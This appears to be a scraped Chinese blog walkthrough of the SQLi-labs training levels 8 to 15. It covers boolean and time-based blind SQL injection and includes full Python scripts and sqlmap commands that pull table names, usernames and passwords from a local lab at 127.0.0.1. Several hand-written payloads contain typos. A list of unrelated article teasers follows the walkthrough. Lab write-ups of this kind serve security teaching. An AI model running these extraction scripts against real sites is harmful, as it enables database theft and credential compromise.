SQL-LABS

news2025/4/17 1:21:20

 less8

and 1=1--+

 1=2

 发现存在注入点

接下来我们会接着用联合查询

 和以往的题目不一样没显错位,也就是没有报错的内容,尝试用盲注

布尔型

length()返回长度

substr()截取字符串(语法substr(str,pos,len);)

ascii()返回字符的ASCII码,也就是将字符变成数字

时间型

sleep()将程序挂起一段时间为多少

if(expr1,expr2,expr3)判断语句,如果第一个语句正确就执行第二个语句如果错误执行第三个语句。

?id=1' and (length(database()))=8--+      页面正常

 判断之后发现长度是等于8的

猜解数据库的长度

id=1' and (ascii(substr(database(),1,1)))=115#     返回正常,第一位是s

第一个1代表的是位置,第二个1代表的是个数,也就是说第一个的第一位。

id=1' and (ascii(substr(database(),2,1)))=101#     返回正常,第二位是e

也就是判断将截取下来的字符进行ASCII编码是否等于对应的数字

猜解表名

id=1' and(ascii(substr(select table_name from information_schema.table where table_schema=database() limit 0,1),1,1)))=101--+

limit和substr不一样,limit是从0开始的

猜字段

id=1' and(ascii(substr(select cloumn_name from information_schema.cloumns where table_name='emails' limit 0,1),1,1)))=105--+ 

返回正常,说明emails表中的列名称第一位是i,这样下去就可以了

我们也可以使用脚本

第一种

import requests
import string

url = 'http://127.0.0.1/sql/Less-8/'

def make_payload(query):
    return url + "?id=" + query

def make_request(payload):
    res = requests.get(payload)
    return 'You are in...........' in res.text

# 猜解数据库长度
print('[+] 正在猜解数据库长度......')
db_name_len = 0
for i in range(31):
    payload = make_payload("1'and length(database())=%d--+" % i)
    if make_request(payload):
        db_name_len = i
        print('数据库长度为:', db_name_len)
        break
else:
    print('error!')

# 猜解数据库名字
print("[+] 正在猜解数据库名字......")
db_name = ''
for i in range(1, db_name_len + 1):
    for k in string.ascii_lowercase:
        payload = make_payload("1'and substr(database(),%d,1)='%s'--+" % (i, k))
        if make_request(payload):
            db_name += k
            break
print("数据库为:", db_name)

# 猜解表的数量
print("[+] 正在猜解表的数量......")
tab_num = 0
while True:
    payload = make_payload("1'and (select count(table_name) from information_schema.tables where table_schema='security')=%d--+" % tab_num)
    if make_request(payload):
        print("%s数据库共有%d张表" % (db_name, tab_num))
        break
    else:
        tab_num += 1

# 猜解表名
print("[+] 开始猜解表名......")
for i in range(1, tab_num + 1):
    tab_len = 0
    while True:
        payload = make_payload("1'and (select length(table_name) from information_schema.tables where table_schema='security' limit %d,1)=%d--+" % (i-1, tab_len))
        if make_request(payload):
            break
        tab_len += 1
        if tab_len == 30:
            print('error!')
            break
    tab_name = ''
    for j in range(1, tab_len + 1):
        for m in string.ascii_lowercase:
            payload = make_payload("1'and substr((select table_name from information_schema.tables where table_schema='security' limit %d,1),%d,1)='%s'--+" % (i-1, j, m))
            if make_request(payload):
                tab_name += m
                break
    print("[-] 第%d张表名为: %s" % (i, tab_name))

    # 猜解表下字段
    dump_num = 0
    while True:
        payload = make_payload("1'and (select count(column_name) from information_schema.columns where table_name='%s')=%d--+" % (tab_name, dump_num))
        if make_request(payload):
            print("%s表下有%d个字段" % (tab_name, dump_num))
            break
        dump_num += 1

    for a in range(1, dump_num + 1):
        dump_len = 0
        while True:
            payload = make_payload("1'and (select length(column_name) from information_schema.columns where table_name='%s' limit %d,1)=%d--+" % (tab_name, a-1, dump_len))
            if make_request(payload):
                break
            dump_len += 1
            if dump_len == 30:
                print("error!!")
                break
        dump_name = ''
        for i in range(1, dump_len + 1):
            for j in (string.ascii_lowercase + '_-'):
                payload = make_payload("1'and substr((select column_name from information_schema.columns where table_name='%s' limit %d,1),%d,1)='%s'--+" % (tab_name, a-1, i, j))
                if make_request(payload):
                    dump_name += j
                    break
        print(dump_name)

# 猜解users表下的username
print("[+] 开始猜解users表下的username......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-"
while True:
    payload = make_payload("1'and (select count(username) from security.users)=%d--+" % usn_num)
    if make_request(payload):
        break
    usn_num += 1
for i in range(1, usn_num + 1):
    usn_len = 0
    while True:
        payload = make_payload("1'and (select length(username) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
        if make_request(payload):
            break
        usn_len += 1
    usr_name = ''
    for k in range(1, usn_len + 1):
        for m in char:
            payload = make_payload("1'and substr((select username from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
            if make_request(payload):
                usr_name += m
                break
    print(usr_name)

# 猜解users表下的password
print("[+] 开始猜解users表下的password......")
usn_num = 0
char = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890_-@!"
while True:
    payload = make_payload("1'and (select count(password) from security.users)=%d--+" % usn_num)
    if make_request(payload):
        break
    usn_num += 1
for i in range(1, usn_num + 1):
    usn_len = 0
    while True:
        payload = make_payload("1'and (select length(password) from security.users limit %d,1)=%d--+" % (i-1, usn_len))
        if make_request(payload):
            break
        usn_len += 1
    usr_name = ''
    for k in range(1, usn_len + 1):
        for m in char:
            payload = make_payload("1'and substr((select password from security.users limit %d,1),%d,1)='%s'--+" % (i-1, k, m))
            if make_request(payload):
                usr_name += m
                break
    print(usr_name)

 

 我们是可以用脚本爆出来的,但是需要等一会

第二种

 

这个先猜出个数

这个是显示具体的库名

表名和字段也是一样的

import requestsdef get_dblength(base_url):    url = base_url+"' and (length(database())={0}) %23"    base_num = 100    for i in range(0,base_num):        url1 = url.format(i)        print(url1)        result = len(requests.get(url1).text)        if result  == base_result:            print("库名长度:",i)            break    return i
def get_dbname(base_url,db_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    dbname = ""    url = base_url+"' and ascii(substr(database(),{0},1))={1} %23"    for i in range(1,db_length+1):        for m in dict:            m_ascii = ord(m)            url2 = url.format(i,m_ascii)            result = requests.get(url2)            if len(result.text) == base_result:                dbname += m                print(dbname)                break    print("库名:",dbname)
def get_table_length():    url = base_url + "' and (select length(table_name) from information_schema.tables where table_schema = database() limit {0},1)={1}%23"    for i in range(0,20):        url1 = url.format(2,i)        result = requests.get(url1)        if base_result == len(result.text):            print("表名长度:",i)            break    return i
def get_table_name(table_length):    dict = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'    table_name = ""    url = base_url + "' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit {0},1),{1},1))={2} %23"    for i in range(1,table_length + 1):        for m in dict:            ascii_m = ord(m)            url1 = url.format(2,i,ascii_m)            result = requests.get(url1).text            if base_result == len(result):                table_name +=m                print("表名:",table_name)                break    return table_name
if __name__ == '__main__':    base_url = "http://127.0.0.1/sqli-labs/Less-8/?id=1"    base_result = len(requests.get(base_url).text)    dblength = get_dblength(base_url)    get_dbname(base_url, dblength)    get_table_length()    get_table_name(7)

SQLMAP

1. 基础指令:

–dbs 获取库名
-D 指定库
–tables 表
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql --tables
-T 指定表
–columns 跑字段
–dump 获取数据(高危指令)
sqlmap.py -u http://127.0.0.1/sqli-labs/Less-1/?id=1 --dbs -D mysql -T user --dump
 

 less9

同样是盲注

我们尝试一下1=1和1=2发现他们的页面都是一样的,这里要注意的是不代表这里不存在注入,上面我们提到时间盲注,这也就是和上面的区别。

布尔盲注有两种页面,但是时间没有,只有一种页面,不管对与错

时间注入和布尔盲注两种没有多大差别只不过时间盲注多了if函数和sleep()函数。if(a,sleep(10),1)如果a结果是真的,那么执行sleep(10)页面延迟10秒,如果a的结果是假,执行1,页面不延迟。通过页面时间来判断出id参数是单引号字符串。

?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
 
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
 
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
 
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
 
 ?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。

下面是两个脚本

# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
         url_new = url + payload
         time_start = time.time()
         content = requests.get(url=url_new)
         time_end = time.time()
         if time_end - time_start >5:
                 return 1
result  = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
    for c in s:
        payload = "'and if(substr(database(),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    print result
# -*- coding: utf-8 -*-
import requests
import time
url = 'http://127.0.0.1/sqli/Less-8/?id=1'
def check(payload):
         url_new = url + payload
         time_start = time.time()
         content = requests.get(url=url_new)
         time_end = time.time()
         if time_end - time_start >5:
                 return 1
result  = ''
panduan = ''
ll=0
s = r'0123456789abcdefghijklmnopqrstuvwxyz'
for i in xrange(1,100):
    for c in s:
        payload = "'and if(substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 1,1),%d,1)='%c',sleep(5),1)--+" % (i,c)
        if check(payload):
            result += c
            break
    if ll==len(result):
         print 'table_name:  '+result
         end = raw_input('-------------')
    ll = len(result)
    print result

 第十关和第九关差不多,只是把单引号换成双引号

less11和less12

可以发现页面就发生变化了,是账户登录页面。那么注入点就在输入框里面。前十关使用的是get请求,参数都体现在url上面,而从十一关开始是post请求,参数是在表单里面。我们可以直接在输入框进行注入就行

11&12

less13

十三关和十二关差不多,只需要将双引号换成单引号

less14

十四关和十一关差不多,只需要将单引号换成双引号

less15

这关和前面的十一关有点像没有显示报错信息,这就是明显的布尔盲注。因为还有错误页面和正确页面进行参考

 

现在就可以判断是单引号的闭合注入了,根据页面来看是布尔盲注

套路还是走一下

先猜解出数据库

判断数据库的长度是否是大于5的,最终发现是登录成功的

1' or length(database())>5#

 看看大于8吗? 最后发现是不大于8的

 判断大于m吗

1' or substr(database(),1,1)>'m'#

看看s

 说明第一个字母在m到s之间,试了一下是等于s的,就直接猜一下,发现是可以的

1' or substr(database(),1,8)='security'#

 后面接着看表,看看表的数量有多少,如果多的话就增加工作量,少的话就可以加快速度

1' or (select count(table_name) from information_schema.tables where table_schema=database())>5#

报错,说明表的数量是小于等于5的,还好不是很多

第一张表的长度大于5,有点多了.....  但是大于6会报错,也就是等于6

1' or length((select table_name from information_schema.tables where table_schema=database() limit 0,1))>5#

 通过以上方法

得到第一个表名长6,第二个表名长8,第三个表名长6,第四个长度表名长5

 开始测

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'m'#

字符处理函数功能举例
重点 concat()没有分隔符地连接字符串select concat(c1,c2) from xxx
重点 concat_ws()指定分隔符地连接字符串select concat_ws(':',c1,c2) from xxx
重点 group_concat()以逗号分隔某列/组的数据select group_concat(c1,c2) from xxx
load_file()读取服务器文件select loadfile('/tmp/a.txt')
into outfile写入文件到服务器select 'xxxx' into outfile '/tmp/a.txt'
ascii()字符串的ASCII代码值select ascii('a')
ord()返回字符串第一个字符的ASCII值select ord('abc')
char()返回ASCII值对应的字符串select char(97)
mid()返回一个字符串的一部分select mid('abcde',1,1)
substr()返回一个字符串的一部分select substr('abcde',1,1)
length()返回字符串的长度select length('abc')
left()返回字符串最左面几个字符select left('mysql',2)
floor()返回小于或等于X的最大整数select floor(5.1)
rand()返回0-1间的一个随机数select rand()
if()三目运算select if(1>2,'A','B')
strcmp()比较字符串ASCII大小select strcmp('c','b')
ifnull()参数1为不null则返回参数1,否则参数2select ifnull(null,2)

第一张表的第一个字母是在a到m之间的,猜了是e

1' or mid((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e'#

所以这个要不断的去试,才能试出来,第四个表为users

看看字段

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

 根据结果要爆的字段数要小于5

字段长度

1' or length((select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 0,1))>5#

根据上面的方式,不断去猜解   知道username,下面的也是接着走

判断username第一条记录长度

1' or length((select username from users limit 0,1))>5#

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1208739.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

取消Element UI响应式设计——打造固定布局的菜单

引言 在当今的Web开发中,响应式设计已经成为了一个不可或缺的部分。然而,有时候我们可能需要取消这种响应式特性,尤其是对于一些特定的界面元素,如导航菜单。在Element UI框架中,导航菜单(el-menu&#xff…

c++范围for语句

语法格式 for(declaration:expression)statement 基本使用 遍历输出 vector<int> nums { 1,2,3,4,5}; for (int num : nums) {num;cout << num << " "; } cout << endl; 遍历时修改 vector<int> nums { 1,2,3,4,5}; for (int&…

软件外包的需求整理技巧

在软件开发中&#xff0c;整理需求是确保项目成功的重要步骤之一。以下是一些整理需求的技巧&#xff0c;这些技巧有助于确保需求的清晰性、完整性和可行性&#xff0c;为项目的成功打下坚实的基础。北京木奇移动技术有限公司&#xff0c;专业的软件外包开发公司&#xff0c;欢…

clickhouse的安装和配置

使用虚拟机测试, 系统为ubuntu 22.04 一 安装 sudo apt-get install -y apt-transport-https ca-certificates dirmngr sudo apt-key adv --keyserver hkp://keyserver.ubuntu.com:80 --recv 8919F6BD2B48D754echo "deb https://packages.clickhouse.com/deb stable ma…

单链表经典OJ题(三)

目录 1、反转链表 2、合并两个有序链表 3、链表的中间结点 4、环形链表的约瑟夫问题 5、移除链表元素 6、移除元素 1、反转链表 206. 反转链表 - 力扣&#xff08;LeetCode&#xff09; 翻转链表的实质就是更改当前结点的前驱结点和后继结点 假设原链表为:1->2->…

能链智电的野心,充电桩装不下

作者 | 张未 来源 | 洞见新研社 从油到电&#xff0c;从平台到资产运营方&#xff0c;从国内到国外&#xff0c;能链智电的野心&#xff0c;充电桩装不下。 “充电桩服务第一股”能链智电&#xff0c;曾作为平台型企业&#xff0c;连接了充电桩上下游&#xff0c;为充电桩制造…

王道数据结构课后代码题p19 第14题请设计一个尽可能高效的算法,计算并输出所有可能的三元组(a,b,c) 中的最小距离。(c语言代码实现)

本题其实就是找a到c的最小值 有讲解p19 第14题 c语言实现王道数据结构课后代码题_哔哩哔哩_bilibili 下方有图&#xff1a; 本题代码如下 int abs(int a)//计算绝对值 {if (a < 0)return -a;elsereturn a; } int min(int a, int b, int c)//a是否为三个数中的最小值 {if …

hash算法

一、Hash散列算法介绍 1.引言 每个人在这个社会上生存&#xff0c;都会有一个属于自己的标记&#xff0c;用于区分不同的个体。通常使用名字就可以了。但是一个名字也并不能完全表示一个人&#xff0c;因为重名的人很多。所以我们可以使用一个身份证号或者指纹来表示独一无二…

当酱香碰上科技,茅台渴望的未来不仅仅是“加钱”

作者 | 曾响铃 文 | 响铃说 又涨价了。2023年11月1日起&#xff0c;贵州茅台宣布旗下53%vol茅台酒&#xff08;飞天、五星&#xff09;的出厂价格平均将上调20%&#xff0c;这也是茅台自2018年1月以来&#xff0c;近六年后再次迎来调整。 不过略有不同的是&#xff0c;本轮零…

专业的软件第三方检测机构如何做性能测试?收费标准是多少?

随着软件信息技术的飞速发展&#xff0c;人们对于软件产品越来越依赖&#xff0c;从而用户对软件产品的稳定性和质量问题愈发看重。软件系统性能的好坏将严重影响该软件的质量和软件开发者的利益&#xff0c;为了更好的保障软件产品质量&#xff0c;软件企业会将性能测试交由软…

爆火的迅雷网盘推广,一手云盘app拉新推广渠道必备项目 学习资料

迅雷网盘是目前几个主流网盘拉新推广之一 都可以通过”聚量推客“申请 目前主流的为&#xff1a;夸克网盘拉新、uc网盘推广、迅雷网盘&#xff0c;但是由于阿里的原因 夸克目前不对外开放名额&#xff0c;需要等待&#xff0c;取而代之主流的云盘推广就是迅雷网盘了 聚量推客…

第 1 章 概述 习题

1-1 因特网的前身是 1969 年创建的第一个分组交换网&#xff08;&#xff09;。 A. internet B. Internet C. NSFNET D. ARPANET 【答案】 D 【解析】 1-2 因特网上的数据交换方式是&#xff08;&#xff09;。 A. 电路交换 B. 报文交换 C. 分组交换 D. 光交换 【答…

uniapp项目笔记

1.生成二维码 import uqrCode from /static/erweima.js uqrCode.make({canvasId: qrcode,componentInstance: this,text: JSON.stringify(item.id),size: 150,margin: 0,backgroundColor: #ffffff,foregroundColor: #000000,fileType: jpg,errorCorrectLevel: uqrCode.errorCor…

阶段七-Day01-SpringMVC

一、Sping MVC的介绍 1. 使用Front(前端)设计模式改写代码 1.1 目前我们的写法 目前我们所写的项目&#xff0c;持久层、业务层的类都放入到Spring容器之中了。他们之间需要注入非常方便&#xff0c;只需要通过Autowired注解即可。 但是由于Servlet整个生命周期都是被Tomca…

RT-Thread STM32F407 五步完成OLED移植

这里使用RT-Thread Studio提供的IIC API驱动函数进行移植 第一步&#xff0c;进入RT-Thread Settings配置IIC驱动 第二步&#xff0c;进入board.h&#xff0c;定义IIC宏 第三步&#xff0c;进入STM32CubeMX&#xff0c;配置时钟及IIC 第四步&#xff0c;添加oled.c及oled…

AIGC大模型-初探

大语⾔模型技术链 1. ⾃然语⾔处理 2. 神经⽹络 3. ⾃注意⼒机制 4. Transformer 架构 5. 具体模型 - GPT6. 预训练&#xff0c;微调 7. ⼤模型应⽤ - LangChain 大语⾔模型有什么用&#xff1f; 利⽤⼤语⾔模型帮助我们理解⼈类的命令&#xff0c;从⽽处理⽂本分析…

gdb详解【Linux知识贩卖机】

你背朝太阳&#xff0c;就只能看到自己的影子。 --纪伯伦语录 文章目录 简介准备常用命令查看代码&#xff08;list&#xff09;运行&#xff08;run&#xff09;打断点&#xff08;break&#xff09;逐语句&#xff08;step&#xff09;逐过程&#xff08;next&#xff09;完成…

【FastCAE源码阅读9】鼠标框选网格、节点的实现

一、VTK的框选支持类vtkInteractorStyleRubberBandPick FastCAE的鼠标事件交互类是PropPickerInteractionStyle&#xff0c;它扩展自vtkInteractorStyleRubberBandPick。vtkInteractorStyleRubberBandPick类可以实现鼠标框选物体&#xff0c;默认情况下按下键盘r键开启框选模式…

程序员月入过万的秘密,赶快收藏史上最靠谱接单攻略!!!

近几年经济十分不景气&#xff0c;无论是哪一行总是面临着生活的不容易。不少人都选择多干几份工作来养家糊口&#xff0c;保证家人的生活。那么咱们程序员该如何是好呢&#xff1f;相信不少人已经有了答案&#xff0c;那就是网上接单&#xff01;那么本期就让小编带你一起来看…

如何设计开发一对一交友App吸引更多活跃用户

在当今社交媒体时代&#xff0c;一对一交友App开发正日渐成为发展热点。如何吸引更多活跃用户成为开发者们的首要任务。通过本文&#xff0c;我们将探讨一系列方法&#xff0c;助您设计开发一对一交友App&#xff0c;吸引更多用户的关注和参与&#xff0c;提升App的活跃度。 了…